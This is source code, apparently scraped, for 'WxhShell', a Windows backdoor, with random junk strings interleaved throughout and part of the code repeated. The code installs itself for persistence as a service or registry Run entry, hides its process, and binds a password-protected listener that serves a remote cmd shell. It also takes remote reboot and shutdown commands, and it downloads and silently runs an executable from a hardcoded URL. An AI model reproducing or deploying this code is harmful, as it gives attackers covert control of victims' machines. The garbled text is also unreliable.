e}uK"dl( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @AZNF+
\W$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yI^Yh{
)gdeFA V if (!NtQueryInformationProcess) return 0; T1d@=&0" vFk@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lAN&d;NU6Z if(!hProcess) return 0; > Z+*tq Y+"1'W if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C!+D]7\j @7nZjrH CloseHandle(hProcess); Jinh#iar !{-W%=Kf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $4{sPHi)I if(hProcess==NULL) return 0; m \)B=H!bz xrg"/?84 HMODULE hMod; "B3jq^ char procName[255]; AY52j unsigned long cbNeeded; @6"MhF liS' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8!2)=8|f sOLh'x f. CloseHandle(hProcess); 2_wpj;E *HD(\;i-$ if(strstr(procName,"services")) return 1; // 以服务启动 .:?v;rYk{ E>_Rsw * return 0; // 注册表启动 4~}NB%, } 4V:W 8k 9D x:)H Ii q/ // 主模块 +^BThrB int StartWxhshell(LPSTR lpCmdLine) Y~}MfRE3z { %r[`HF> SOCKET wsl; O&7.Ry
m BOOL val=TRUE; {"'M2w:|D1 int port=0; 4np2I~ ! struct sockaddr_in door; ) f~;P+ |.c4y* if(wscfg.ws_autoins) Install(); %NkiY iA fS"u"]j*e port=atoi(lpCmdLine); Nw. )O ]0R*F30] if(port<=0) port=wscfg.ws_port; Y!M0JSaM %G!!0V! WSADATA data; *P' X[z if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p7YYAh@x\ k1z`92" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hF-QbO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KiXfR\S~C door.sin_family = AF_INET; @{@b^tk door.sin_addr.s_addr = inet_addr("127.0.0.1"); eX"%b(;s door.sin_port = htons(port); vl/!w2 iFUiw& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iM8Cw/DS closesocket(wsl); V=ll 9M return 1; M5VW1Ns } ^KbR@Ah Vs"b
if(listen(wsl,2) == INVALID_SOCKET) { P.YT/ closesocket(wsl); 5mAb9F8@ return 1; +k6`
tl~* } C
O6}D Wxhshell(wsl); 4S42h_9 WSACleanup(); O]XRalkEM 0gqV>: return 0; 807+|Ol[ I q|'#hs } ,9y6:W%5 b,Eq-Z; // 以NT服务方式启动 zYM2`(Z
5B VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qq!ZYWy2 { wp~}1]g DWORD status = 0; 4Y?fbb< DWORD specificError = 0xfffffff; &~eCDlX/ [lIX&!T" serviceStatus.dwServiceType = SERVICE_WIN32; )y]Dmm serviceStatus.dwCurrentState = SERVICE_START_PENDING; _!2lnJ4+5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |4DN2P
serviceStatus.dwWin32ExitCode = 0; N@PuC> serviceStatus.dwServiceSpecificExitCode = 0; ;\th.!'rn serviceStatus.dwCheckPoint = 0; .J -k^+- serviceStatus.dwWaitHint = 0; 1V`-D8-? mZU
L}[xf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5"h4XINZ if (hServiceStatusHandle==0) return; 6KGT?d -|'@:cIZ status = GetLastError(); -Jd7 if (status!=NO_ERROR) Z+V%~C1 { W)1nc"WqY serviceStatus.dwCurrentState = SERVICE_STOPPED; ~xG/ yPl serviceStatus.dwCheckPoint = 0; V(cU/Aia^ serviceStatus.dwWaitHint = 0; l8E))oz1T serviceStatus.dwWin32ExitCode = status; t5 >ma:^j serviceStatus.dwServiceSpecificExitCode = specificError; Ju>QQOxi| SetServiceStatus(hServiceStatusHandle, &serviceStatus); dkg`T#} return; `u3kP } r~=+>,
_ 4(,.<# serviceStatus.dwCurrentState = SERVICE_RUNNING; GQg
2!s( serviceStatus.dwCheckPoint = 0; DvhFCA}z serviceStatus.dwWaitHint = 0; 1[OY -G if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MVMJl "> } !43nL[] +m
J G:n // 处理NT服务事件,比如:启动、停止
_*}D@yy& VOID WINAPI NTServiceHandler(DWORD fdwControl) w5q6c%VZ { skeeec\V switch(fdwControl) MNU7OX< { pej-W/R& case SERVICE_CONTROL_STOP: (f"Qz~R|6_ serviceStatus.dwWin32ExitCode = 0; !l dE9 . serviceStatus.dwCurrentState = SERVICE_STOPPED; ~98q1HgS]D serviceStatus.dwCheckPoint = 0; #U0| j?!D serviceStatus.dwWaitHint = 0; T.De1Q| { ~7aD#`amU SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Fd)YJVR } ]pNM~, return; oBmv^=cH case SERVICE_CONTROL_PAUSE: mmwc'-jU: serviceStatus.dwCurrentState = SERVICE_PAUSED; idBdaZg break; n jd2 case SERVICE_CONTROL_CONTINUE: 1f3g5y'z5 serviceStatus.dwCurrentState = SERVICE_RUNNING; k4&adX@Y break; lYe2;bu case SERVICE_CONTROL_INTERROGATE: @}jg5} break; yq, qS0Fo }; &T-:`( SetServiceStatus(hServiceStatusHandle, &serviceStatus); "viZ"/~6 } xe OfofC(l @/aJi6d"^E // 标准应用程序主函数 bHq.3; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,h5 FX^ { *} *HXE5 ,PpVZq~ // 获取操作系统版本 Y<^Or OsIsNt=GetOsVer(); Up-^km GetModuleFileName(NULL,ExeFile,MAX_PATH); ?/}IDwuh / !h<+ // 从命令行安装 k'.cl^6Z8 if(strpbrk(lpCmdLine,"iI")) Install(); 860y9wzU =Q;dYx%I5 // 下载执行文件 4WlBQ<5 if(wscfg.ws_downexe) { k=t{o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wR 2`*.O WinExec(wscfg.ws_filenam,SW_HIDE); Nba1!5:M } LB7$&.m'B &%3}'&EBv if(!OsIsNt) { T#E,^|WEk // 如果时win9x,隐藏进程并且设置为注册表启动 M+-odLltw HideProc(); `-s]dq StartWxhshell(lpCmdLine); |@rf#,hTDp } XwIHIG} else rU>l(O'b if(StartFromService()) _ y'g11 \
// 以服务方式启动 E0i!|H StartServiceCtrlDispatcher(DispatchTable); O&CY9
2)Lk else REc90v2" // 普通方式启动 Aa-OMo;~ StartWxhshell(lpCmdLine); Gf7r!Ur;g 3-y2i/4}$ return 0; V
7 p{'C } rk+s[Qi~ 9~ V(wG (CAVOed ,o2x,I =========================================== JWM4S4yZHR R74RJi& /L`qOr2E i @M^l`w 0kp{`3ce " u]X/
{L " 3DjX0Dx/l 4d`f?8vS #include <stdio.h> ktY #include <string.h> DBfq9%J _ #include <windows.h> &4t=Y`]SL #include <winsock2.h> }P!:0w3 #include <winsvc.h> 2zsDb'r #include <urlmon.h> $*fEgU% c TD ;u" #pragma comment (lib, "Ws2_32.lib") OS~Z@'Eg #pragma comment (lib, "urlmon.lib") BMzS3;1_ d^Cv9%X #define MAX_USER 100 // 最大客户端连接数 &x.5TDB>% #define BUF_SOCK 200 // sock buffer o
-x=/b #define KEY_BUFF 255 // 输入 buffer MA=gCG/JD H8Ra !FW@ #define REBOOT 0 // 重启 IYr4 #define SHUTDOWN 1 // 关机 {- &wV Np
opg1Gv> #define DEF_PORT 5000 // 监听端口 z9Y}[pN :2t?0YR #define REG_LEN 16 // 注册表键长度 :y~l?0b&8 #define SVC_LEN 80 // NT服务名长度 nqYarHi V[*<^% // 从dll定义API ~c,+)69"T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZB$,\|^6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UWgPQ%} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y4Jaw2b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sVS),9\} 1VXn`O?LW // wxhshell配置信息 (Kkqyrb struct WSCFG { #9(iu S+BU int ws_port; // 监听端口 DS<E:'N char ws_passstr[REG_LEN]; // 口令 R"`<ZY6(Ou int ws_autoins; // 安装标记, 1=yes 0=no -C*UB char ws_regname[REG_LEN]; // 注册表键名 F{17K$y char ws_svcname[REG_LEN]; // 服务名 e>HdJ"S` char ws_svcdisp[SVC_LEN]; // 服务显示名 t;
#D,gx char ws_svcdesc[SVC_LEN]; // 服务描述信息
?D@WXE0a char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cS|W&IH1 int ws_downexe; // 下载执行标记, 1=yes 0=no %&$s0=+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cm6%wAzC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $.Qq:(O:6 d-UQc2r }; Eye.#~ dr=h;[Q' // default Wxhshell configuration ?&XpwJw:~ struct WSCFG wscfg={DEF_PORT, 8 }OII\ "xuhuanlingzhe", [@/x
1, =eeZtj. "Wxhshell", 4^w`]m "Wxhshell", QL@}hw.F "WxhShell Service", 8Vm)jnM "Wrsky Windows CmdShell Service", /n 1H;~f] "Please Input Your Password: ", -[A=\]RfJ 1, ]%6XE) "http://www.wrsky.com/wxhshell.exe", LyT[ "Wxhshell.exe" pTcN8E&Unz }; D7,{p2<2T u`Zj~t // 消息定义模块 Z2{G{]EV( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G4K3qD#+H char *msg_ws_prompt="\n\r? for help\n\r#>"; WaDdZIz4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vy5SBiK char *msg_ws_ext="\n\rExit."; VL@eR9}9K char *msg_ws_end="\n\rQuit."; \yo)oIi[p char *msg_ws_boot="\n\rReboot..."; 7,D6RP(b char *msg_ws_poff="\n\rShutdown..."; >KCnmi char *msg_ws_down="\n\rSave to "; FJ
V!B& pM_oIH'8: char *msg_ws_err="\n\rErr!"; .5YW>P V char *msg_ws_ok="\n\rOK!"; .^FdO$" oAq<ag\qV char ExeFile[MAX_PATH]; =8 Jq'-da int nUser = 0; /HM0p HANDLE handles[MAX_USER]; /-C6I: int OsIsNt; /: }"Z b ~`CWpc: SERVICE_STATUS serviceStatus; 4wx_@8 SERVICE_STATUS_HANDLE hServiceStatusHandle; V%'+ ob6 A:Kit_A // 函数声明 r=^? int Install(void); J*r%b+ int Uninstall(void); Xp_G9I,+ int DownloadFile(char *sURL, SOCKET wsh); %D<>F&h int Boot(int flag); {w VJv1*l void HideProc(void); &/]g@^h9 int GetOsVer(void); )p+6yH int Wxhshell(SOCKET wsl); \m3ca-Y void TalkWithClient(void *cs); 0r'<aA`=I int CmdShell(SOCKET sock); aiwKkf`\ int StartFromService(void); J4^aD;j int StartWxhshell(LPSTR lpCmdLine); ]w9\q*S] 8al%F_r] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0X4%Ccs VOID WINAPI NTServiceHandler( DWORD fdwControl ); [<A|\d'x 2VA mL7) // 数据结构和表定义 Jhr3[A SERVICE_TABLE_ENTRY DispatchTable[] = ;=E!xfp5U { LHgEb9\Q {wscfg.ws_svcname, NTServiceMain}, nv2p&-e+ {NULL, NULL} Y.v. EZ }; D eM/B5qw %Ig3udcY? // 自我安装 IO]%AL(.; int Install(void) +OX:T) 4h6 { z !:%Hbh= char svExeFile[MAX_PATH]; L{AfrgN HKEY key; _';oT*# strcpy(svExeFile,ExeFile); ,e5#wz !p|d[ // 如果是win9x系统,修改注册表设为自启动 md`"zV if(!OsIsNt) { `_5{:
9N$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wYLJEuS| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gOKF%Ej31T RegCloseKey(key); T9O3$1eqfo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L<MH: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A&/YnJ" RegCloseKey(key); u:s[6T0 return 0; ya0D50m } tc<ly{ 1c } kF29~ } 0}iND$6@a else { FJ(}@U}57 tw%z!u[a // 如果是NT以上系统,安装为系统服务 tg'2v/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `78)|a*R. if (schSCManager!=0) [5sa1$n96G { s'yT}XQ;r SC_HANDLE schService = CreateService b1ma(8{{{ ( 3"y,UtKGa schSCManager, Ht=h9}x"g wscfg.ws_svcname, }D\i1/Y wscfg.ws_svcdisp, ~_Q1+ax} SERVICE_ALL_ACCESS, aX{i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l#k&&rI5x. SERVICE_AUTO_START, 4<Q^/-W SERVICE_ERROR_NORMAL, Rx%SeM2 svExeFile, ;<)<4N" NULL, )$7-CNWr~ NULL, [$AOu0J NULL, bAZx*qE= NULL, !,zRg5Wp4 NULL TW5Pt{X=f ); 97SOa.@ if (schService!=0) z*B-`i. { TG@ W:>N( CloseServiceHandle(schService); 2UJjYrm CloseServiceHandle(schSCManager); )7}f. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y$&+2w,)H, strcat(svExeFile,wscfg.ws_svcname); s(MLBV5)w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3}9c0%}F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o/5loV3h RegCloseKey(key); 1&Ruz[F5 return 0; 7\nR'MOZ }
Tq*K
=^ } 5svM3 # CloseServiceHandle(schSCManager); Ir :y# } .P5OUK } T?Y/0znB* 95%QF;h return 1; }{(J*T } +JrbC/& (n0h#% // 自我卸载 mcqLN5 int Uninstall(void) r}Ec_0_lt { @_4E^KgF HKEY key; D*o5fPvFO l6#ms!e if(!OsIsNt) { |VxO ,[~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s%l`XW;v RegDeleteValue(key,wscfg.ws_regname); 5`H.{4@ RegCloseKey(key); !H/5Ud9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bIP%xl
Vp RegDeleteValue(key,wscfg.ws_regname); $:D-dUr1 RegCloseKey(key); rI.CCPY~s return 0; HyKv5S$ } [)S&PK } MWZH-aA(. } y|(C L^( else { eB,eu4+- ?vr9l7VOi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hX&Jq%{oa if (schSCManager!=0) UK!PMkX { Z.rR) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (+lCh7. if (schService!=0) ('Doy1L { nkii0YB! if(DeleteService(schService)!=0) { 8^>qzaf
8 CloseServiceHandle(schService); ,ctm;T1H+ CloseServiceHandle(schSCManager); {RPZq2Tpc return 0; ZxvBo4>tH } Kdr7JQYzuz CloseServiceHandle(schService); Ia!B8$$'RP } ywj'S7~A CloseServiceHandle(schSCManager); \mGok<b4 } .qAlPe L: } $G}!eV
6 d:SLyFD$q return 1; h}SP` } c|KN@)A ?4A$9H // 从指定url下载文件 E@%9u# int DownloadFile(char *sURL, SOCKET wsh) Tw+V$:$$ { nXFPoR)T HRESULT hr; (`me}8 char seps[]= "/"; xq-TT2}<L char *token; pf[m"t6G~ char *file; S&Szc0-|k char myURL[MAX_PATH]; Bt[Wh@ char myFILE[MAX_PATH]; lJIcU
RI4 !Pf6UNN' strcpy(myURL,sURL); `y0u(m5 token=strtok(myURL,seps); z8-dntkf while(token!=NULL) 7wB*@a- { H{CiN file=token; aRE%(-5 token=strtok(NULL,seps); Is1(]^EE* } tS:/:0HnA) ,!7\?=G6}v GetCurrentDirectory(MAX_PATH,myFILE); Pg\!\5 strcat(myFILE, "\\"); 'Vz Yf^ strcat(myFILE, file); xN
CU5 send(wsh,myFILE,strlen(myFILE),0); uZhY)o*]@ send(wsh,"...",3,0); cf`g.9pjlx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ISaO
C{2- if(hr==S_OK) R+b~m!58 return 0; yi&6HNb else c]1\88 return 1; YQ$EN>.eO
_CImf1 } vzH"O= <TQ,7M4X // 系统电源模块 N.D7 int Boot(int flag) %`)lCK)2 { Yx3ivjX.> HANDLE hToken; -.!+i8d> TOKEN_PRIVILEGES tkp; :pXY/Pa KMll8X if(OsIsNt) { }|u>b!7_. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *-\qO.4\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3$f+3/l tkp.PrivilegeCount = 1; $rV4JROb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pr?k~Bn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;]\>jC if(flag==REBOOT) { gUWW}*\ U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;6AanwR6 return 0; =V>inH } KJP}0|[ else { -,a@bF: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [~{'"-3L0 return 0; v9"|VhZ } Z66h } %Kzu&*9Hb else { p>9|JMk if(flag==REBOOT) { ^Gwpx+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G<M9 6V return 0; ?d' vIpzO! } 1EAQ ~S!2 else { WG]`Sy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'PWX19 return 0; FFq8LM8 } TD.t) } 51gSbkVX
@p%WFNR0 return 1; L}= t"y } >J) 9&? >qS2ha // win9x进程隐藏模块 /{>_'0 void HideProc(void) p)Fi{%bc { wJF(&P L};P*{q2Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J b?x-%Za if ( hKernel != NULL ) `l ?(zy:R { p`)Mk<`dYD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i6P'_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IC:>60A,] FreeLibrary(hKernel); Go)}%[@w } GJIZu&C Vl/fkd,Z return; +:3s f%0 } V;d<S@$ vD76IG j m // 获取操作系统版本 ]jSRO30H3< int GetOsVer(void) JH._/I
{ `_e5pW=:> OSVERSIONINFO winfo; BVG.ZZR}) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WDJ rN GetVersionEx(&winfo); "#P#;]\ ` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PIHKSAnq return 1; y7vA[us else yG2rAG_G& return 0; fyEXnmB; } +zf`_1+)U rN'8,CV // 客户端句柄模块 9L>73P{_ int Wxhshell(SOCKET wsl) Y-+JDrK { Ym?VF{e, SOCKET wsh; 4+:'$Nw struct sockaddr_in client; @$1jp4c
DWORD myID; '.]<lh! X*M2 O%g`L while(nUser<MAX_USER) U#`2~Qv/1 { Mtc - int nSize=sizeof(client); iL|5}x5\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |3BxNFe`% if(wsh==INVALID_SOCKET) return 1; N!./u(b $!^C|,CS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [e o= if(handles[nUser]==0) 1[!7xA0 j closesocket(wsh); C=t9P#g*. else B &
]GGy nUser++; Ro=dgQ0:t } <8^ws90Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7n*"9Ai( W4(GI]`_+ return 0; a,h]DkD } #u3E{NB 84coi // 关闭 socket _<'?s>(U' void CloseIt(SOCKET wsh) i,rX.K}X { ^O!;KIe{g closesocket(wsh); T^q^JOC4 nUser--; [x'D+! ExitThread(0); )hC3'B/[Y } ^91Ae!)d M\RHFTB<C // 客户端请求句柄 :3{n(~ void TalkWithClient(void *cs) _w2%!+' { c]"w0a-`^@ |l@z7R+4* SOCKET wsh=(SOCKET)cs; <sSH^J4QqX char pwd[SVC_LEN]; "\u<\CL char cmd[KEY_BUFF]; 53>(2 _/[r char chr[1]; dptfIBYc+ int i,j; pG22Nx KwgFh#e while (nUser < MAX_USER) { <
<F s>%.bAxc if(wscfg.ws_passstr) { "{Hl! Zq/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9@}5FoX" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z]D/Qr //ZeroMemory(pwd,KEY_BUFF); w`v`aw] i=0; S(/^_Y while(i<SVC_LEN) { I@IE0+ [n C-g,uARX(r // 设置超时 ^=8/I w fd_set FdRead; Z?'?|vM struct timeval TimeOut; 3!%-O:! FD_ZERO(&FdRead); 9_8\xLk FD_SET(wsh,&FdRead); (" +clb` TimeOut.tv_sec=8; :yTr:FoF TimeOut.tv_usec=0; Z!*6;[]SfG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); brG!TJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 ^30]2'_ CugZ!>;^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f>e0l'\ pwd=chr[0]; !yr4B"kz if(chr[0]==0xd || chr[0]==0xa) { *!E~4z= pwd=0; d[ _@l break; :4\%a4{Ie } `VvQems i++; ]{|lGtK % } apt$e$g u,{R,hTDS // 如果是非法用户,关闭 socket gXU(0(Gq if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s0:M'wA } Ep:hObWG) U| ?68B3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
1.PN_9% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,In%r`{i PgA1:i&' while(1) { kR:kn: B#+n$5#FK ZeroMemory(cmd,KEY_BUFF); lrL:G[rt /W .G-|: // 自动支持客户端 telnet标准 #9Fk&Lx j=0; JYmYX- while(j<KEY_BUFF) { -7'|&zP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A{M7 cmd[j]=chr[0]; ^,FG9 if(chr[0]==0xa || chr[0]==0xd) { X6_
RlV]Sk cmd[j]=0; m{$}u@a break; >`/s+V } `M{Ne:J j++; uqU&k@ } OU}eTc(FeC 4:^MSgra // 下载文件 'Bxj(LaV- if(strstr(cmd,"http://")) { 12?!Z send(wsh,msg_ws_down,strlen(msg_ws_down),0); *po
o.Zz if(DownloadFile(cmd,wsh)) AzSu_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); BFhEDkk else J/:U,01 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S=.%aB } 68(^* else { 43-Bx`6\ XjP& switch(cmd[0]) { VzIZT{ Pk;yn; // 帮助 7U1M;@y case '?': { ,4`Vl<6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y
.cjEeL@ break; 6 C
O5:\ } Q4L=]qc T // 安装 QBH|pr
case 'i': { D&I/Tbc if(Install()) _|cSXZ| send(wsh,msg_ws_err,strlen(msg_ws_err),0); BD;T>M else cWZ uph\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 54JZOtC3~ break; Otx>S' 5 } <[-{:dH,5 // 卸载 I )vR case 'r': { Z 4i5,f if(Uninstall()) 5Phsh send(wsh,msg_ws_err,strlen(msg_ws_err),0); q
}>3NCh else SZLugyZ2Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m@+QC$6S break; qV idtSb } &JKQH // 显示 wxhshell 所在路径 doe3V-if case 'p': { ` OgT"FdL! char svExeFile[MAX_PATH];
<#57q% strcpy(svExeFile,"\n\r"); X%znNx strcat(svExeFile,ExeFile); 4lpcJ+:o send(wsh,svExeFile,strlen(svExeFile),0); AXte&l=M break; t 4zUj%F } {r$Ewc$Yb7 // 重启 %4F\#" A case 'b': { \`["IkSg7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X>Q4 4FV! if(Boot(REBOOT)) K(PSGlI f send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]!P8 {xmb@ else { S]|sKY closesocket(wsh); rc<Ix ExitThread(0); d4ld-y } o _l_Yi break; 3 yb]d5:U } M%Rr= // 关机 ]+m2pEO case 'd': { U1Fo #L send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >i >|] if(Boot(SHUTDOWN)) 8#tuB8> send(wsh,msg_ws_err,strlen(msg_ws_err),0); oF]]Pl{W else { I=
<eCv closesocket(wsh); koS?UYF` ExitThread(0); )u28:+8 } "*j8G8
break; hY%} x5ntU } f=Pn,.>tIz // 获取shell _deEs5i case 's': { X$1YvYsID CmdShell(wsh); ~|Ln9f-g closesocket(wsh); , .~k ExitThread(0); pjTJZhT2 I break; gp{C89gP } SiaW; ks // 退出 /5"T46jD case 'x': { d0ht*b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !X$19" CloseIt(wsh); Xx[,n-rA break; }2e s" } cuumQQ // 离开 rO.[/#p\ case 'q': { ]Q0bL send(wsh,msg_ws_end,strlen(msg_ws_end),0); %xG<hNw/ closesocket(wsh); <)~-] WSACleanup(); U9^1A* exit(1); @R%qP>_ break; IQtQf_"e1 } {r;_nMfH|[ } kRwUR34yc } hDSf>X_*_G Cd=$XJ-b // 提示信息 7}~w9jK"F if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [
't.x= } yhbU;qEG9 } Jq(;BJ90R 5Rs#{9YE return; N[\J#x!U } czu9a"M>X SpU|Q1Q/h // shell模块句柄 :Z2997@Y int CmdShell(SOCKET sock) [a!AKkj { 6("bdx;! STARTUPINFO si; # |(>UM\ ZeroMemory(&si,sizeof(si)); Z : xb8]y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G'}N ?8s1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dL'oKh, PROCESS_INFORMATION ProcessInfo; |?{V-L char cmdline[]="cmd"; ;zo|. YD CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sa9VwVUE return 0; MI(#~\Y~P } *P7/ry^<F siCm)B // 自身启动模式 W!O/t^H> int StartFromService(void) bQq/~ { Kx)PK typedef struct S ;rd0+J { *VJ ISJC DWORD ExitStatus; iEr?s-or DWORD PebBaseAddress; ilJ`_QN DWORD AffinityMask; g~.#.S ds DWORD BasePriority; Haktr2I ULONG UniqueProcessId; lkJxb~S ULONG InheritedFromUniqueProcessId; ,K\7y2/ } PROCESS_BASIC_INFORMATION; %]0?vw:;j et)n`NlcK PROCNTQSIP NtQueryInformationProcess; TB.>?*<n] - QY<o| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W]7<PL*u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i \/'w] 1_f+!
ns# HANDLE hProcess; Udtz zka PROCESS_BASIC_INFORMATION pbi; ElB[k< c"lwFr9x7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T"za|Fo if(NULL == hInst ) return 0; U_PH#e &@CUxK g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wn.6l
` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u*=^>LD NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eCN: h~9P34m if (!NtQueryInformationProcess) return 0; 9m2FH~ w*/@|r39 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =gR/ t@Ld if(!hProcess) return 0; .0xk}, cf,6";8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `4xQ#K.- YU[#4f~ CloseHandle(hProcess); 0wVM%Dng ^Ld5< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #9[> if(hProcess==NULL) return 0; +3-5\t` \rxjvV4fcZ HMODULE hMod; z{w %pUn} char procName[255]; G]k[A=dg unsigned long cbNeeded; @SxZ>|r-|v :* ]#n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XK/l1E3N j;y(to-e>D CloseHandle(hProcess); u4xtlGt5 )mwwceN 